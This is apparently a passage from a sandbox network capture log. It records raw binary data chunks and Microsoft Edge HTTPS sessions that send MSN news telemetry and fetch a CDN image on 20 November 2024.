2024-11-20 15:51:04 UTC	16384	IN	Data Raw: b3 89 ae 12 0f c8 8e 44 73 07 25 6c 2f 89 78 37 88 0d 0e a0 75 2e 5c e8 bf 65 c0 91 84 4c 45 c8 e1 c2 b0 be d6 c3 3c 57 8f 3c 74 cb eb f1 72 7e 48 f5 8e a9 d3 a5 09 d7 37 60 b5 09 91 92 ad 5a 84 18 b5 0b 51 18 b5 6a 11 2c 21 6a d4 46 21 6a d5 51 88 5a b5 11 8b 50 b5 10 21 6a 11 02 10 84 40 85 ab 10 08 5a b5 06 21 6a 10 62 d4 2d 44 62 13 2c 41 8b 56 a1 06 21 6a 10 62 d4 2d 44 62 16 ad 40 a8 4c 84 46 2d 42 d4 18 85 ab 51 18 85 a8 50 62 16 a1 50 21 0b 51 18 85 a8 41 88 5a 84 18 85 a8 41 88 5a 84 18 84 2d 41 88 5a 84 18 85 a8 41 88 5a b1 14 21 08 40 21 08 41 88 5a 84 18 85 a8 50 2a 13 21 02 a1 6a 10 62 10 84 56 21 6a 10 62 16 a1 02 a1 32 54 50 b1 6a 10 62 c4 c9 51 42 c5 a8 45 2a 13 25 40 2c 5a 85 14 a8 5a b1 14 a8 5a b1 15 8b 13 25 45 62 c5 ab 14 6c a8 5a b1 Data Ascii: Ds%l/x7u.\eLE<W<tr~H7`ZQj,!jF!jQZP!j@Z!jb-Db,AV!jb-Db@LF-BQPbP!QAZAZ-AZAZ!@!AZP!jbV!jb2TPjbQBE%@,ZZZ%EblZ
2024-11-20 15:51:04 UTC	3219	IN	Data Raw: 2b e6 37 b5 45 f7 b1 38 bc 17 49 04 bc be 01 14 18 48 0e c4 0f 32 66 14 a3 54 cd 46 a2 e3 ee 5c c3 6f 50 5c e7 d1 c4 80 41 6b 5a e0 28 1a c2 05 7c a5 70 58 f6 b8 92 58 0b a0 00 72 11 bc 81 15 e5 c9 7a 63 1a 85 8d aa bb bb 36 b5 21 81 e1 83 0b 9e 63 37 d6 84 4f b4 72 e3 22 aa fd 96 d8 73 8b bd dd ed 8c 24 b9 8e 0c 66 c3 89 38 41 12 e9 82 26 5d 45 cc b5 70 62 2f 27 aa 45 a3 b2 d0 04 02 22 30 bb e9 13 26 33 2a dd bb 8e 7d b0 e0 48 e8 b2 05 23 65 c2 30 80 4c 00 41 ab a4 98 13 2a 3d 10 f4 56 c8 f7 9d 3f 55 c5 ae c0 00 c5 42 1d 8a 20 98 87 7e f0 56 6d 6a 1c 3c 41 ac b7 18 1a cc 2e 14 15 26 04 72 dd dc b8 77 61 ad b3 2e 0e 0c 6d b3 49 13 83 11 20 4e 52 e8 95 27 53 a0 f6 bd cd cc 17 e2 8d d3 15 e4 09 73 b9 67 0b 0e d3 e3 a7 47 b7 b9 75 c0 56 30 93 47 67 c5 71 75 Data Ascii: +7E8IH2fTF\oP\AkZ(\|pXXrzc6!c7Or"s$f8A&]Epb/'E"0&3}H#e0LA=V?UB ~Vmj<A.&rwa.mI NR'SsgGuV0Ggqu
2024-11-20 15:51:04 UTC	16384	IN	Data Raw: d1 8a 0e 03 3e 49 6d e9 2e 62 c6 5d 6d ad 20 43 b1 62 31 19 e1 86 8f 5c c2 8a e6 b0 9b 6c be e7 b7 15 4e 6e 22 4e 41 d2 59 b2 6b 94 9e 6b c0 6b f1 c8 0e 0e 11 94 e6 6a 6b 41 1d ab ea d7 9f a5 0d 38 a5 8d 24 c3 b0 9d a0 68 62 68 41 95 f3 df 16 b7 80 30 b1 c2 e5 a0 5e d0 e1 93 49 32 1b 90 a4 65 13 ce a8 e7 94 6c e4 e9 6e f4 ee b0 b8 b9 90 26 5b 18 8f 61 a1 5e 85 de 25 7a f3 5f 68 87 dd 61 63 85 41 71 1f bd 2d 12 22 99 13 50 bc f3 30 32 e4 86 3a eb 3a 6d 27 6a 08 df 51 02 87 2f 5a 8f ae 2d b8 ec 92 d7 08 22 48 ae fa 11 3d b4 55 ce e9 d7 d1 eb 06 99 97 08 25 d8 88 c3 b2 62 5b 91 75 44 56 a0 09 3b d7 b2 66 a6 e5 cb 16 ae 3a 0b dc d0 e7 0a 6c e2 3f bc 77 51 79 bd 05 f7 fb b3 da f1 64 80 65 8c 2d 61 da cf 11 06 91 26 8a c7 bd 39 c5 b8 89 88 c4 5c ea fb 23 69 c4 Data Ascii: >Im.b]m Cb1\lNn"NAYkkkjkA8$hbhA0^I2eln&[a^%z_hacAq-"P02::m'jQ/Z-"H=U%b[uDV;f:l?wQyde-a&9\#i
2024-11-20 15:51:04 UTC	16384	IN	Data Raw: 9b 4e ef e2 5c fd ab df ac b1 fa 4b 66 8c 63 5f fb d8 b5 13 eb 2b a8 75 9a 06 f3 d3 76 1b a7 e6 a2 3e 23 a1 e6 e6 53 97 52 e0 1d c1 cb 7b fa b8 d6 3e 61 c2 76 8e e8 f6 74 c0 f1 2e 3f 84 ab 3e db 9b 42 c1 d8 18 4f c4 af 52 3c 47 c3 62 71 b2 77 63 71 fe f3 82 b0 cf 12 d2 1f e8 f0 f9 be f3 1b f8 6e f8 25 cf 86 74 e3 fe d0 f1 4d 63 5b 5e 91 78 dc 5a 47 f7 42 9a 6d 9b 6e 07 4a 64 c6 13 39 56 b9 c9 5e df af 6d d5 07 4c 7f fe 63 07 ab 0a a9 7b ab 72 8c 76 8f c9 d7 ed bf e4 d5 6c 8c 6b a4 c7 db cf c5 e3 7a 36 1d fc 3b c3 80 3f fb 65 2b 6c 5b 6b a9 61 ce fc eb 84 7f f9 85 ea bd d6 f0 ac e9 07 e5 36 3b 95 9b 76 c8 cf dd 49 fd d7 37 e7 45 ab 73 d3 2f 3f d3 14 ff 00 75 2d e3 d6 7f e0 c2 80 3b a6 60 b6 04 fd 4d ba e0 3b 71 85 ed 83 1b f5 74 19 fc c1 f9 84 ed 6d a9 a3 Data Ascii: N\Kfc_+uv>#SR{>avt.?>BOR<Gbqwcqn%tMc[^xZGBmnJd9V^mLc{rvlkz6;?e+l[ka6;vI7Es/?u-;`M;qtm
2024-11-20 15:51:04 UTC	7952	IN	Data Raw: 25 7d ab 43 a3 66 96 d8 00 54 2e 17 87 f8 48 d3 6a 7a a7 90 a7 68 85 ec d6 79 73 bd a3 a3 5c 1c 5a 62 f2 8d cc b5 2a 17 9d ec 32 d4 88 54 32 12 a1 03 21 2a d4 0c 84 a8 44 32 12 a1 03 21 2a 10 32 c5 88 45 0b 16 a5 40 2c 5a 84 68 2c 80 b5 08 19 64 4a 10 8c 99 6a 45 a8 19 09 56 22 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 50 81 d0 91 6a 06 42 54 20 65 a9 10 81 d0 95 08 87 94 24 5a 88 65 a9 10 81 d0 95 08 19 0b 11 28 19 09 56 a2 35 0b 10 88 64 25 5a 85 35 0b 10 89 46 42 55 a8 53 56 a5 42 21 90 b1 08 35 0b 10 83 50 b1 08 35 0b 16 a0 10 84 20 16 ac 42 32 64 25 42 06 42 54 20 65 8b 16 a0 c4 21 08 04 21 0a 28 42 10 8a 10 84 20 c5 88 42 80 42 10 94 a1 2a d5 89 4d 05 8b 52 a5 2b 16 2d 58 a5 29 52 29 12 25 34 8d 7c eb fc c9 e1 ce b8 5b a9 Data Ascii: %}CfT.Hjzhys\Zb2T2!D2!2E@,Zh,dJjEV"PjBT e$Ze(V5d%Z5FBUSVB!5P5 B2d%BBT e!!(B BBMR+-X)R)%4\|[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	49829	20.44.10.122	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:06 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117863198&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11605 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 15:51:06 UTC	11605	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 35 3a 35 31 3a 30 33 2e 31 39 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 63 36 37 39 65 36 37 2d 33 66 30 37 2d 34 36 31 64 2d 39 38 30 36 2d 32 63 66 66 35 65 64 66 64 64 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 31 32 34 33 38 36 39 34 31 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T15:51:03.196Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"9c679e67-3f07-461d-9806-2cff5edfdd8d","epoch":"2124386941"},"app":{"locale
2024-11-20 15:51:06 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ea38f95f9c3d4f74b3b7fbdbc4b21375&HASH=ea38&LV=202411&V=4&LU=1732117866545; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 15:51:06 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=81b2ec93562842e29b2ade3cdae5233a; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 16:21:06 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3347 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 15:51:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	49830	20.44.10.122	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:06 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117863201&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5094 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 15:51:06 UTC	5094	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 35 3a 35 31 3a 30 33 2e 32 30 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 63 36 37 39 65 36 37 2d 33 66 30 37 2d 34 36 31 64 2d 39 38 30 36 2d 32 63 66 66 35 65 64 66 64 64 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 31 32 34 33 38 36 39 34 31 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T15:51:03.200Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"9c679e67-3f07-461d-9806-2cff5edfdd8d","epoch":"2124386941"},"app":{"locale
2024-11-20 15:51:06 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2039770f07794927a2f04574cdfbd15a&HASH=2039&LV=202411&V=4&LU=1732117866452; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 15:51:06 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ed98b734f55d44089118ec6b1bb830a5; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 16:21:06 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3251 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 15:51:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.9	49831	20.44.10.122	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:06 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117864203&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9357 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 15:51:06 UTC	9357	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 35 3a 35 31 3a 30 34 2e 32 30 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 63 36 37 39 65 36 37 2d 33 66 30 37 2d 34 36 31 64 2d 39 38 30 36 2d 32 63 66 66 35 65 64 66 64 64 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 31 32 34 33 38 36 39 34 31 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-20T15:51:04.200Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"9c679e67-3f07-461d-9806-2cff5edfdd8d","epoch":"2124386941"},"app":{"loc
2024-11-20 15:51:07 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1d483d37b7334f728963e21a23519d9d&HASH=1d48&LV=202411&V=4&LU=1732117866941; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 15:51:06 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a9373e608efd43d7a20931edc7762e6e; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 16:21:06 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2738 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 15:51:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	49833	20.44.10.122	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:06 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117864319&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5320 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1; msnup=
2024-11-20 15:51:06 UTC	5320	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 35 3a 35 31 3a 30 34 2e 33 31 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 63 36 37 39 65 36 37 2d 33 66 30 37 2d 34 36 31 64 2d 39 38 30 36 2d 32 63 66 66 35 65 64 66 64 64 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 31 32 34 33 38 36 39 34 31 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T15:51:04.318Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"9c679e67-3f07-461d-9806-2cff5edfdd8d","epoch":"2124386941"},"app":{"locale
2024-11-20 15:51:07 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6ba02715351e4eb7a502d1a2e5f781df&HASH=6ba0&LV=202411&V=4&LU=1732117867093; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 15:51:07 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=13db4c2bbf2540f88626fab0cae4012f; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 16:21:07 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2774 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 15:51:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.9	49834	20.44.10.122	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:07 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732117864870&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5544 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1; msnup=
2024-11-20 15:51:07 UTC	5544	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 35 3a 35 31 3a 30 34 2e 38 36 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 63 36 37 39 65 36 37 2d 33 66 30 37 2d 34 36 31 64 2d 39 38 30 36 2d 32 63 66 66 35 65 64 66 64 64 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 31 32 34 33 38 36 39 34 31 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-20T15:51:04.869Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"9c679e67-3f07-461d-9806-2cff5edfdd8d","epoch":"2124386941"},"app":{"loc
2024-11-20 15:51:08 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1cfe7f74881a41dcac2b2d801714ed51&HASH=1cfe&LV=202411&V=4&LU=1732117868476; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 15:51:08 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=0e349f3a3f5449389696e363f000937c; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 16:21:08 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3606 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 15:51:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.9	49836	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:11 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:11 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=345183 Expires: Sun, 24 Nov 2024 15:44:14 GMT Date: Wed, 20 Nov 2024 15:51:11 GMT Connection: close
